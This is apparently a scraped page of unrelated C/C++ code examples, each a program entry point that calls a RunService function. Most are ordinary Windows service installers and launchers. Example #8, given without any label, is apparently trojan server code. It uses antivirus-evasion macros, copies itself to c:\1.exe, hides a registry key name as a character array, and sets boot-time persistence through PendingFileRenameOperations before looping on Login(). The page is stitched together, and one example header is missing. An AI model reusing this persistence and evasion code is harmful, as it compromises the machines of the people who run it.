Beispiel #1
0
VOID ServiceMainProc()
{
	::InitializeCriticalSection(&myCS);
	// initialize variables for .exe and .log file names
	char pModuleFile[nBufferSize+1];
	DWORD dwSize = GetModuleFileName(NULL, pModuleFile, nBufferSize);
	pModuleFile[dwSize] = 0;
	if(dwSize>4 && pModuleFile[dwSize-4] == '.')
	{
		sprintf_s(pExeFile,"%s",pModuleFile);
		pModuleFile[dwSize-4] = 0;
		sprintf_s(pLogFile,"%s.log",pModuleFile);

		sprintf_s(pWorkDir,"%s",pModuleFile);
		PathRemoveFileSpec(pWorkDir);
	}

	strcpy_s(pServiceName,"Helix");

	if(_stricmp("-i",lpCmdLineData) == 0 || _stricmp("-I",lpCmdLineData) == 0)
		Install(pExeFile, pServiceName);
	else if(_stricmp("-k",lpCmdLineData) == 0 || _stricmp("-K",lpCmdLineData) == 0)
		KillService(pServiceName);
	else if(_stricmp("-u",lpCmdLineData) == 0 || _stricmp("-U",lpCmdLineData) == 0)
		UnInstall(pServiceName);
	else if(_stricmp("-s",lpCmdLineData) == 0 || _stricmp("-S",lpCmdLineData) == 0)
		RunService(pServiceName);
	else
		ExecuteSubProcess();
}
Beispiel #2
0
/**
 * Main.
 */
int main(int argc, char** argv) {
    Config conf;
    ParseArgs(argc, argv, conf);
    google::InitGoogleLogging(argv[0]);
    RunService(conf);
    return 0;
}
int WINAPI WinMain(HINSTANCE hInstance,
                   HINSTANCE hPrevInstance,
                   LPSTR lpCmdLine,
                   int nCmdShow)
{
  if (AmSystemProcess())
       RunService();
  else InstallService();
  
  return true;
}
Beispiel #4
0
int main(int argc, char* argv[])
//int _tmain(int argc, _TCHAR* argv[])
{
#ifdef _WIN32
	WSADATA wsadata;
	if( WSAStartup(WSVERS, &wsadata)!=0 ){
		exit(1);
	}
#endif

/*#ifdef _WIN32
	if( argc>=2 ){
		if( strcmp( argv[1], "-i" )==0 ){
			InstallService();
		}else if( strcmp( argv[1], "-u" )==0 ){
			RemoveService();
		}else if( strcmp( argv[1], "-r" )==0 ){
			//run as a norm windows application. always set it default at lower priority
			pfout = stdout;
			servApp.SetServState( SYSTEM_USER_LOGON );
			RunService(NULL);
		}
	}else{
		char path[MAX_PATH];
		GetModuleFileName( NULL, path, MAX_PATH );
		char* p = strrchr( path, '\\' );
		*p = '\0';
		strcat( path, "\\ncp.log" );
		pfout = fopen( path, "wt" );

		RunWinService();

		fclose( pfout );
		pfout = NULL;
	}
#else*/
	char buf[256];  
	gethostname( buf, ELEMENTS(buf) ); 
	hostent* phent = gethostbyname( buf );
//	printf( "server running on %s, machine int is %d, long is %d,ncpmsg is %d, netfstat is %d\n", phent->h_name, sizeof(int), sizeof(long), sizeof(CNcpMessage), sizeof(NETF_STAT) );         
	//for unix version. just run it.
	RunService(NULL);
//#endif

#ifdef _WIN32
	WSACleanup();
#endif
	return 0;
}
Beispiel #5
0
static void WINAPI ServiceInit(DWORD argc, LPTSTR *argv)
{
	if(!(ServiceStatusHandle = RegisterServiceCtrlHandler(service_name, &ServiceSignal)))
		return;
	ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
	ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
	ServiceStatus.dwControlsAccepted = 0;
	ServiceStatus.dwWin32ExitCode = NO_ERROR;
	ServiceStatus.dwServiceSpecificExitCode = 0;
	ServiceStatus.dwCheckPoint = 1;
	ServiceStatus.dwWaitHint = 1000;

	if(!SetServiceStatus(ServiceStatusHandle, &ServiceStatus))
		return;

	RLOG(ThreadId() << "initializing service");
	bool inited = InitService();
	if(inited) {
		RLOG(ThreadId() << "service successfully initialized");
		ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE
			| SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP;
		ServiceStatus.dwCurrentState = SERVICE_RUNNING;
	}
	else {
		RLOG(ThreadId() << "service initialization failed");
		ServiceStatus.dwControlsAccepted = 0;
		ServiceStatus.dwCurrentState = SERVICE_STOPPED;
	}

	ServiceStatus.dwCheckPoint = 0;
	if(!SetServiceStatus(ServiceStatusHandle,&ServiceStatus))
		return;

	if(inited) {
		RLOG(ThreadId() << "running service");
		RunService();
		RLOG(ThreadId() << "exiting service thread");
		service_exited = true;
	}
}
Beispiel #6
0
int _tmain(int argc, LPTSTR* argv)
{
	g_errorCode = ERROR_NONE;

	switch (ParseCallerParameters(argc, argv))
	{
	case REQUEST_REGISTER:
		g_errorCode = RegisterService(L"FileChecker", L"File Checker");
		break;

	case REQUEST_UNREGISTER:
		g_errorCode = UnregisterService(L"FileChecker");
		break;

	case REQUEST_RUN:
		RunService();
		break;

	default:
		g_errorCode = ERROR_INVALID_REQUEST;
	}

	return HandleErrorCode(g_errorCode);
}
Beispiel #7
0
int _tmain(int argc, _TCHAR* argv[])
{
    TCHAR szPath[MAX_PATH] = { 0, };
    DWORD dwSize = GetModuleFileName(NULL, szPath, MAX_PATH);
    TCHAR * pdest = _tcsrchr(szPath, '\\');
    _tcsncpy_s(gServicePath, sizeof(gServicePath) / sizeof(TCHAR), szPath, (size_t)(pdest - szPath));

    if (argc < 2)
    {
        ExecuteSubProcess();
        return 0;
    }
    
    if (_tcsicmp(L"/i", argv[1]) == 0)
        return Install(szPath, ServiceName);
    else if (_tcsicmp(L"/k", argv[1]) == 0)
        return KillService(ServiceName);
    else if (_tcsicmp(L"/u", argv[1]) == 0)
        return UnInstall(ServiceName);
    else if (_tcsicmp(L"/s", argv[1]) == 0)
        return RunService(ServiceName);
    else if (_tcsicmp(L"/t", argv[1]) == 0)
    {
        DWORD dwPID;
        WCHAR *szServicePath;
        WCHAR *cmd = L"drbdadm.exe initial-split-brain minor-6";
        WCHAR fullName[MAX_PATH] = {0};

        size_t len;
        errno_t err = _wdupenv_s(&szServicePath, &len, L"DRBD_PATH");
        if (err)
        {
            // default
            szServicePath = L"C:\\Program Files\\drbd\\bin";
        }
        if ((wcslen(szServicePath) + wcslen(cmd) + 4) > MAX_PATH)
        {
            printf("szServicePath: too big!!\n");
        }
        wcsncpy_s(fullName, szServicePath, wcslen(szServicePath));
        wcscat_s(fullName, L"\\");
        wcsncat_s(fullName, cmd, wcslen(cmd)); //wnsprintf
        printf("fullName: %ws\n", fullName);

        // test!
        DWORD ret = RunProcess(EXEC_MODE_WIN, SW_NORMAL, NULL, cmd, szServicePath, dwPID, 0, NULL, NULL);
        free(szServicePath);
        return ERROR_SUCCESS;
    }
#if 1 // _WIN32_HANDLER_TIMEOUT: test by a separate application, not daemon. remove later
	else if (_tcsicmp(L"/n", argv[1]) == 0) 
	{
		// internal test only: no-daemon test

		unsigned short servPort = DRBD_DAEMON_TCP_PORT;
		DWORD threadID;

		if (CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) SockListener, &servPort, 0, (LPDWORD) &threadID) == NULL)
		{
			WriteLog(L"pthread_create() failed\n");
			return 0;
		}

		int i = 0;
		while (1)
		{
			printf("test main loop(%d)...\n", i++);
			Sleep(10000);
		}
	}
#endif
    else
    {
        TCHAR msg[256];
        _stprintf_s(msg, _T("Usage: drbdService.exe [/i|/k|/u|/s]\n"));
        WriteLog(msg);
        return ERROR_INVALID_PARAMETER;
    }

    return ERROR_SUCCESS;
}
Beispiel #8
0
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	WNDCLASS m_WndClass;
	ZeroMemory(&m_WndClass,sizeof(WNDCLASS));
	
	//水平拖动
	m_WndClass.style=CS_HREDRAW;
	
	//回调函数地址
	m_WndClass.lpfnWndProc=NULL;
	
	//附加数据  总是为NULL
	m_WndClass.cbClsExtra = NULL;
	
	//附加数据  总是为NULL
	m_WndClass.cbWndExtra = NULL;
	
	//程序实例
	m_WndClass.hInstance  = NULL;
	
	//程序Icon
	m_WndClass.hIcon = LoadIcon(NULL,IDI_INFORMATION);
	
	//程序光标
	m_WndClass.hCursor = LoadCursor(NULL,IDC_HELP);
	
	//背景颜色
	m_WndClass.hbrBackground = (HBRUSH)GetStockObject(GRAY_BRUSH);
	
	//程序类名
	m_WndClass.lpszClassName = NULL;
	
	//注册类名
	RegisterClass(&m_WndClass);

	// TODO: Place code here.
	//////////////////////////////////////////////////////////////////////////
	// 让启动程序时的小漏斗马上消失
    GetInputState();
	PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
	MSG	msg;
	GetMessage(&msg, NULL, NULL, NULL);

	//创建互斥
	char	strInstallModule[MAX_PATH]; 
	memset(strInstallModule, 0, sizeof(strInstallModule)); 
	GetModuleFileName(NULL,strInstallModule,sizeof(strInstallModule));
	
	HANDLE m_hMutex;
	m_hMutex = CreateMutex(NULL, FALSE, strInstallModule);
	if (m_hMutex && GetLastError() == ERROR_ALREADY_EXISTS)
	{
		exit(0);
		ExitProcess(0);
		return -1;
	}

	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
	FUCKAV

	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
	FUCKAV
	
	if(!modify_data.bRunOnce)//如果不是绿色安装
	{
		if (modify_data.bServer == TRUE)
		{
			if (service_is_exist())
			{	
				SERVICE_TABLE_ENTRY serviceTable[] = 
				{
					{modify_data.SerName,(LPSERVICE_MAIN_FUNCTION) ServiceMain},
					{NULL,NULL}
				};
				StartServiceCtrlDispatcher(serviceTable);
			}
			else
			{
				RunService(modify_data.SerName,modify_data.Serdisplay ,modify_data.Serdesc);
			}
		}

		if (modify_data.bRuns == TRUE)
		{
			////////////////过管家,瑞星,金山启动项///////////////
			char szMyFilePath[MAX_PATH];
        	GetModuleFileName(NULL,szMyFilePath,MAX_PATH);
	        char Sys[MAX_PATH];
        	char FileN[100];
        	SHGetSpecialFolderPath(NULL,Sys, 24, FALSE);
        	wsprintf(FileN,"\\scvost.bat");//随即发生一个文件名
        	strcat(Sys,"\\");
        	strcat(Sys,FileN);
        	HKEY hKey;
        	DWORD Action=0;
        	char MyPat[] = "c:\\1.exe";
        	char MyPath[] = "\\??\\c:\\1.exe\0";
        	CopyFile(szMyFilePath,MyPat,FALSE);
        	char bUuIt[] = {'S','Y','S','T','E','M','\\','C','u','r','r','e','n','t','C','o','n','t','r','o','l','S','e','t','\\','C','o','n','t','r','o','l','\\','S','e','s','s','i','o','n',' ','M','a','n','a','g','e','r','\0'};
	
	        RegCreateKeyExA (HKEY_LOCAL_MACHINE,bUuIt,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey,&Action);
        	RegSetValueEx(hKey,"PendingFileRenameOperations",NULL,REG_MULTI_SZ,(const unsigned char *)MyPath,sizeof(MyPath));
        	RegCloseKey(hKey);
        	MoveFileEx(Sys,0,MOVEFILE_DELAY_UNTIL_REBOOT);
			/////////////////////////////////////////////////////
	//return 0;
//}
			
			while(1)
			{
				Login();
				Sleep(50);
			}
		}
	}
	else
	{
		while(1)
		{
			Login();
			Sleep(50);
		}
	}
	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
	FUCKAV
	return 0;
}
Beispiel #9
0
//////////////////////////////////////////////////////////////////////
//
// Standard C Main
//
int main(int argc, char *argv[] )
{
    // initialize global critical section
    ::InitializeCriticalSection(&myCS);
    // initialize variables for .exe, .ini, and .log file names
    char pModuleFile[nBufferSize+1];
    DWORD dwSize = GetModuleFileName(NULL,pModuleFile,nBufferSize);
    pModuleFile[dwSize] = 0;
    if(dwSize>4&&pModuleFile[dwSize-4]=='.')
    {
        sprintf(pExeFile,"%s",pModuleFile);
        pModuleFile[dwSize-4] = 0;
        sprintf(pInitFile,"%s.ini",pModuleFile);
        sprintf(pLogFile,"%s.log",pModuleFile);
    }
    else
    {
        printf("Invalid module file name: %s\r\n", pModuleFile);
        return 1;
    }
    WriteLog(pExeFile);
    WriteLog(pInitFile);
    WriteLog(pLogFile);
    // read service name from .ini file
    GetPrivateProfileString("Settings","ServiceName","XYNTService",pServiceName,nBufferSize,pInitFile);
    WriteLog(pServiceName);
    // uninstall service if switch is "-u"
    if(argc==2&&_stricmp("-u",argv[1])==0)
    {
        UnInstall(pServiceName);
    }
    // install service if switch is "-i"
    else if(argc==2&&_stricmp("-i",argv[1])==0)
    {
        Install(pExeFile, pServiceName);
    }
    // bounce service if switch is "-b"
    else if(argc==2&&_stricmp("-b",argv[1])==0)
    {
        KillService(pServiceName);
        RunService(pServiceName,0,NULL);
    }
    // bounce a specifc program if the index is supplied
    else if(argc==3&&_stricmp("-b",argv[1])==0)
    {
        int nIndex = atoi(argv[2]);
        if(BounceProcess(pServiceName, nIndex))
        {
            char pTemp[121];
            sprintf(pTemp, "Bounced process %d", nIndex);
            WriteLog(pTemp);
        }
        else
        {
            char pTemp[121];
            sprintf(pTemp, "Failed to bounce process %d", nIndex);
            WriteLog(pTemp);
        }
    }
    // kill a service with given name
    else if(argc==3&&_stricmp("-k",argv[1])==0)
    {
        if(KillService(argv[2]))
        {
            char pTemp[121];
            sprintf(pTemp, "Killed service %s", argv[2]);
            WriteLog(pTemp);
        }
        else
        {
            char pTemp[121];
            sprintf(pTemp, "Failed to kill service %s", argv[2]);
            WriteLog(pTemp);
        }
    }
    // run a service with given name
    else if(argc>=3&&_stricmp("-r",argv[1])==0)
    {
        if(RunService(argv[2], argc>3?(argc-3):0,argc>3?(&(argv[3])):NULL))
        {
            char pTemp[121];
            sprintf(pTemp, "Ran service %s", argv[2]);
            WriteLog(pTemp);
        }
        else
        {
            char pTemp[121];
            sprintf(pTemp, "Failed to run service %s", argv[2]);
            WriteLog(pTemp);
        }
    }
    // assume user is starting this service
    else
    {
        // start a worker thread to check for dead programs (and restart if necessary)
        if(_beginthread(WorkerProc, 0, NULL)==-1)
        {
            long nError = GetLastError();
            char pTemp[121];
            sprintf(pTemp, "_beginthread failed, error code = %d", nError);
            WriteLog(pTemp);
        }
        // pass dispatch table to service controller
        if(!StartServiceCtrlDispatcher(DispatchTable))
        {
            long nError = GetLastError();
            char pTemp[121];
            sprintf(pTemp, "StartServiceCtrlDispatcher failed, error code = %d", nError);
            WriteLog(pTemp);
        }
        // you don't get here unless the service is shutdown
    }
    ::DeleteCriticalSection(&myCS);

    return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	// Hook spew output.
	SpewOutputFunc( MySpewOutputFunc );

	// Get access to the registry..
	RegCreateKey( HKEY_LOCAL_MACHINE, VMPI_SERVICE_KEY, &g_hVMPIServiceKey );

	// Setup our version string.
	LoadString( hInstance, VMPI_SERVICE_IDS_VERSION_STRING, g_VersionString, sizeof( g_VersionString ) );

	// Setup the base app path.
	if ( !GetModuleFileName( GetModuleHandle( NULL ), g_BaseAppPath, sizeof( g_BaseAppPath ) ) )
	{
		Warning( "GetModuleFileName failed.\n" );
		return false;
	}
	V_StripLastDir( g_BaseAppPath, sizeof( g_BaseAppPath ) );

	// Setup the cache path.
	V_ComposeFileName( g_BaseAppPath, "vmpi_service_cache", g_FileCachePath, sizeof( g_FileCachePath ) );


	const char *pArg = FindArg( __argc, __argv, "-mpi_pw", NULL );
	SetPassword( pArg );
	
	if ( FindArg( __argc, __argv, "-console" ) )
	{					
		g_RunMode = RUNMODE_CONSOLE;
	}
	else
	{
		g_RunMode = RUNMODE_SERVICE;
	}

	if ( FindArg( __argc, __argv, "-superdebug" ) )
		g_bSuperDebugMode = true;

	g_AppStartTime = GetTickCount();
	g_bMinimized = FindArg( __argc, __argv, "-minimized" ) != NULL;

	ServiceHelpers_Init(); 	
	g_hInstance = hInstance;

	LoadStateFromRegistry();

	// Install the service?
	if ( g_RunMode == RUNMODE_CONSOLE )
	{					
		RunAsNonServiceApp();
	}
	else
	{
		RunService();
	}

	return 0;
}